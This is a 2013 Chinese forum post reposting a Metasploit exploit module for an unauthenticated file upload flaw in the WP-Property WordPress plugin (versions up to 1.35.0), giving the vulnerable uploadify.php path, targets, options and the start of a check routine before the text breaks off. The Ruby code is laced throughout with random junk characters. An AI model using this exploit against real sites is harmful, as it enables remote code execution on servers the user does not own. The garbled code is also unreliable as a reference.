标题: WordPress WP-Property PHP 文件上传漏洞 [打印本页] 作者: admin 时间: 2013-1-4 19:51 标题: WordPress WP-Property PHP 文件上传漏洞 WordPress WP-Property PHP 文件上传漏洞0 N6 u: w' E* u) V# g+ f9 D
& c T* x. ~" b7 a( T( B5 m# h
## # This file is part of the Metasploit Framework and may be subject to5 }0 ]% m6 F6 G: ^
* c0 P! b9 n S9 I* y, f# redistribution and commercial restrictions. Please see the Metasploit * b" n7 c7 e" B% Q7 M " C' m9 d! H1 S: B7 c1 Q) p1 [# Framework web site for more information on licensing and terms of use. S9 i' B! ], o4 {: ~! x3 x
5 H5 N- R4 z% B. G$ Y7 b
# http://metasploit.com/framework/ ##& Q* G+ u6 V2 L7 R4 j' d
9 a9 C+ S$ G5 K" K% d
3 h5 \& \9 j8 x Q% H
) N! d! w7 ^2 Q, i [! c3 [ & i; B! r! s8 C7 y2 h; y1 J" [7 ?) |( A
require 'msf/core' - y* }# m5 f; ^0 }# L. Q" z* f- Rrequire 'msf/core/exploit/php_exe' 4 V2 m( `3 C" N4 } ! ?1 O! o& V e/ gclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit:hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', u, m% l/ L3 S+ ?6 k
'Description' => %q{& E; u4 W. ]2 x. {% E
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>( w& o! M4 X) [1 Q7 V3 `' o0 B1 e: m
[. {3 m0 r( a0 O
'Sammy FORGIT', # initial discovery/ g. V- U9 S0 \7 T$ p2 E
'James Fitts <fitts.james[at]gmail.com>' # metasploit module : a2 g4 ~1 ^$ Y b3 ^5 m l7 z# T], 1 g7 ^. ^$ ]; d* m0 R'License' => MSF_LICENSE,. \5 A4 I f3 g, e7 Y+ M
'References' =>- S% N6 a- R% i a
[' A$ L$ v% A/ t; z5 Q7 [
[ 'OSVDB', '82656' ],9 S' F* `6 |( I0 |. [4 r
[ 'BID', '53787' ],0 G* N* P' y8 D+ w% U, Q( @4 W
[ 'EDB', '18987'],/ S1 U+ u5 O, N# I
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ] 3 U1 R" J) f- C6 D6 a8 n! f7 E0 X],) A6 q/ d! G" L2 p' O( w+ G
'Payload' =>4 v* y# @( o: C. s, n4 u
{+ W2 k. E% }. c; N( q4 ` J; S+ j8 v
'BadChars' => "\x00", ( Z$ A! o$ @! A- Y" b2 ?* e},9 m T( ^* b+ l4 b) z
'Platform' => 'php', ) q' R- E! Z% D! u6 T! W'Arch' => ARCH_PHP, * u' m: P5 c5 s9 t h'Targets' => , K6 H3 t+ o }8 @2 R$ o3 M. ?[ 2 [3 q9 A5 ^0 L8 @* @( C+ \[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],$ M' z2 N3 A! C2 y: q
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]1 [, ?5 \6 L/ V' q
],2 D! g, l' B/ K* K, E
'DefaultTarget' => 0,# Y6 r J. v6 q4 j( [
'DisclosureDate' => 'Mar 26 2012')) 0 b! `8 W$ |0 x/ v" i0 @, M+ o2 l " q% q5 ~- ?- c k5 Pregister_options(2 _1 o: B& _1 W" k" `6 E
[- N& ]! T6 [. d4 Q2 [5 Q7 u$ o$ U
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])& {1 R$ u6 i8 s; F) o( C
], self.class)+ m9 a1 b/ l7 @- L3 a: o( Y
end + ^0 W3 |& h! W* i* v/ @+ S 9 @5 u( g$ B3 @" S3 ^- F: I0 Hdef check - x$ p& k: P/ ouri = target_uri.path5 N* z; r7 G. v% K$ w
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',+ }8 s; @+ B9 h7 H6 u9 B* p. S( {
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"6 C; \: y7 R' t
})3 Z6 J" }' ]$ U/ F
8 ?. D# S, L5 ~# B' P: c- t& y- K* Oif not res or res.code != 200+ w4 X& n$ J8 V* d1 m
return Exploit::CheckCode::Unknown. ]$ b' \" w e% o' T! v
end: y. j3 g) Q. A. H8 S3 V3 U! K( y